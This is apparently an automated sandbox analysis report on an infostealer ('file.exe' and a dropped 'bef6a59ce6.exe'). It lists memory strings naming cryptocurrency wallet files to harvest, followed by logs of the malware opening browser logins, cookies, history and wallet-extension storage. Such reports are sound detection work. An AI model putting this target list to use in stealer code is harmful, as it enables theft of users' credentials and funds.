Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1824673224.0000000000DBC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1824673224.0000000000DBC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1824673224.0000000000DBC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1824673224.0000000000DBC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1824673224.0000000000DBC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
